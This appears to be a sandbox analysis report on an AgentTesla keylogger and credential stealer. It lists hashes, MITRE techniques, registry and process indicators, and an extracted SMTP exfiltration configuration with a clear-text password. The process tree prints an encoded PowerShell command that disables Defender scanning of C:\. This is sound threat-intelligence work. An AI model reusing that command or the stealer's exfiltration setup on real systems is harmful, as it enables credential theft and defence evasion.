agenttesla | 639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20

General

Target

639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe
Size

1.4MB
MD5

5024700fd5f7e52bf567e82ebdb80e14
SHA1

e94620b0d5cbfb06e55a167f24ebd3df83f6d962
SHA256

639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20
SHA512

a1fb9b11951b6f6669c2eb191be5a43ea2147584c4897854a1cdadbb6b6c40f8b4c4e1522b99faef5cfbbdf33934a56fc2e0115fc466e20cd6c9ebaadba840c0
SSDEEP

12288:/eUclQtHUB7lceAvwDlidquEsc1Sa0Pyifu4XY5Z13VhpPlIX4cPMWgxeZwGmuTe:PquEsy0Pyifu4IlVhpP2MXeZS

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.agrimax.rs
Port:
587
Username:
[email protected]
Password:
Dandiruya2017
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe
Key opened	\REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe
Key opened	\REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

3 api.ipify.org
4 api.ipify.org
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	ioc
3	api.ipify.org
4	api.ipify.org

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exepowershell.exe

pid	process
948	639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe
592	powershell.exe
948	639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe
948	639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe
948	639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	948	639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe
Token: SeDebugPrivilege	592	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe

pid process

948 639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.execmd.exe

description	pid	process	target process
PID 948 wrote to memory of 1788	948	639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe	cmd.exe
PID 948 wrote to memory of 1788	948	639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe	cmd.exe
PID 948 wrote to memory of 1788	948	639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe	cmd.exe
PID 1788 wrote to memory of 592	1788	cmd.exe	powershell.exe
PID 1788 wrote to memory of 592	1788	cmd.exe	powershell.exe
PID 1788 wrote to memory of 592	1788	cmd.exe	powershell.exe

outlook_office_path 1 IoCs

Processes:

639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe

outlook_win_path 1 IoCs

Processes:

639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe

C:\Users\Admin\AppData\Local\Temp\639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe
"C:\Users\Admin\AppData\Local\Temp\639cd0b090f4459153355f5a090835a82451eb6028054ce030cf6366314fee20.exe"
1⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:592

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

3

T1081

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/592-67-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/592-66-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/592-65-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/592-68-0x00000000025EB000-0x0000000002622000-memory.dmp

Filesize
220KB

Download
memory/592-64-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/592-63-0x000000001B160000-0x000000001B442000-memory.dmp

Filesize
2.9MB

Download
memory/948-55-0x0000000000390000-0x0000000000448000-memory.dmp

Filesize
736KB

Download
memory/948-58-0x0000000001FD0000-0x000000000200C000-memory.dmp

Filesize
240KB

Download
memory/948-57-0x000000001B170000-0x000000001B1F0000-memory.dmp

Filesize
512KB

Download
memory/948-54-0x000000013FBB0000-0x000000013FD24000-memory.dmp

Filesize
1.5MB

Download
memory/948-56-0x0000000000240000-0x000000000025E000-memory.dmp

Filesize
120KB

Download
memory/948-86-0x000000001B170000-0x000000001B1F0000-memory.dmp

Filesize
512KB

Download
memory/948-87-0x000000001B170000-0x000000001B1F0000-memory.dmp

Filesize
512KB

Download
memory/948-88-0x000000001B170000-0x000000001B1F0000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads